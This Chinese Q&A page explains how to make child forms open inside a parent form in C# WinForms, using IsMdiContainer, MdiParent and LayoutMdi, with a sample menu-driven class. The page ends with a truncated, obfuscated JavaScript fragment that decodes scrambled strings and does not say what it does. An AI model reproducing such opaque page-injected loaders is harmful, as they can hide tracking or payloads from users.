语言C#.net 如何将子窗体嵌入到父窗体里面

2025-03-16 20:03:40
推荐回答(1个)
回答1:

1、设置父窗体:

如果要将某个窗体设置为父窗体,只需将该窗体的IsMdiContainer属性设置为True即可。

2、设置子窗体:

通过设为某个窗体的MdiParent属性来确定该窗体是那个窗体的子窗体。

语法如下:

1: public Form MdiParent{get;set;}

3、排列MDI子窗体:

语法如下:

1: public void LayoutMdi(MdiLayout value)

value:是MdiLayout的枚举值之一,用来定义MDI子窗体的布局。

枚举成员    说明    

Cascade    层叠排列MDI子窗体    

TileHorizontal    水平平铺MDI子窗体    

TileVertical    垂直平铺MDI子窗体    

例程;

1: public partial class FormMain : Form
2:     {
3:         public FormMain()
4:         {
5:             InitializeComponent();
6:         }
7:
8:         private void 加载子窗体ToolStripMenuItem_Click(object sender, EventArgs e)
9:         {
10:             FormChild_1 frm1 = new FormChild_1();
11:             frm1.MdiParent = this;
12:             frm1.Show();
13:
14:             FormChild_2 frm2 = new FormChild_2();
15:             frm2.MdiParent = this;
16:             frm2.Show();
17:
18:             FormChild_3 frm3 = new FormChild_3();
19:             frm3.MdiParent = this;
20:             frm3.Show();
21:         }
22:
23:         private void 水平平铺ToolStripMenuItem_Click(object sender, EventArgs e)
24:         {
25:             LayoutMdi(MdiLayout.TileHorizontal);
26:         }
27:
28:         private void 垂直平铺ToolStripMenuItem_Click(object sender, EventArgs e)
29:         {
30:             LayoutMdi(MdiLayout.TileVertical);
31:         }
32:
33:         private void 层叠排列ToolStripMenuItem_Click(object sender, EventArgs e)
34:         {
35:             LayoutMdi(MdiLayout.Cascade);
36:         }
37:
38:     }

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95f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